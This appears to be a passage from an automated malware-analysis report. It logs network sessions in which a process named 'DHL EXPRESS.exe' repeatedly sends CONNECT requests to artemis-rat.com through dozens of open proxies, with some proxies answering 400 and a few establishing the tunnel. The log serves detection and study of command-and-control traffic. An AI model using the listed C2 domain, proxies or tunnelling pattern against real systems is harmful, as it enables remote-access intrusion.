74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1745	192.168.2.8	55036	104.16.207.86	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.299731016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.454159021 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1746	192.168.2.8	55046	104.16.195.74	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.311878920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.466231108 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1747	192.168.2.8	55065	104.18.44.93	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.312350035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.466701031 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1748	192.168.2.8	55069	104.20.75.69	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.312673092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.467504978 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1749	192.168.2.8	54963	182.106.220.252	9091	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.314133883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.668411970 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1750	192.168.2.8	54948	185.206.80.71	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.316251040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.065888882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261641979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.343933105 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1751	192.168.2.8	55000	159.223.71.71	52542	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.316263914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.036364079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.097364902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.198407888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.261607885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.394485950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.450196028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.596954107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.597012997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1752	192.168.2.8	55011	190.103.177.131	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.320952892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.690973997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1753	192.168.2.8	53872	188.165.226.128	59307	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.321008921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.409681082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1754	192.168.2.8	54936	139.59.1.14	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.321474075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.118731976 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1755	192.168.2.8	54988	103.76.12.58	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.321710110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.831994057 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1756	192.168.2.8	53881	119.93.122.233	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.329433918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1757	192.168.2.8	55002	138.36.150.26	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.332417965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1758	192.168.2.8	51374	91.134.140.160	11946	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.333518028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.958209991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.566024065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769355059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1759	192.168.2.8	54972	103.127.1.130	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.334068060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1760	192.168.2.8	54455	45.226.1.1	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.341562033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1761	192.168.2.8	53861	176.113.157.149	37417	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.352236032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1762	192.168.2.8	53895	117.54.114.102	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.356093884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1763	192.168.2.8	55096	104.21.194.19	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.360317945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.514697075 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1764	192.168.2.8	55104	43.153.174.4	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.363682032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1765	192.168.2.8	54721	64.227.108.25	31908	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.363684893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1766	192.168.2.8	55112	140.84.176.246	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.364046097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1767	192.168.2.8	55123	43.153.174.4	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.367379904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1768	192.168.2.8	55124	140.84.176.246	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.367738008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1769	192.168.2.8	55097	162.159.242.230	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.368690014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
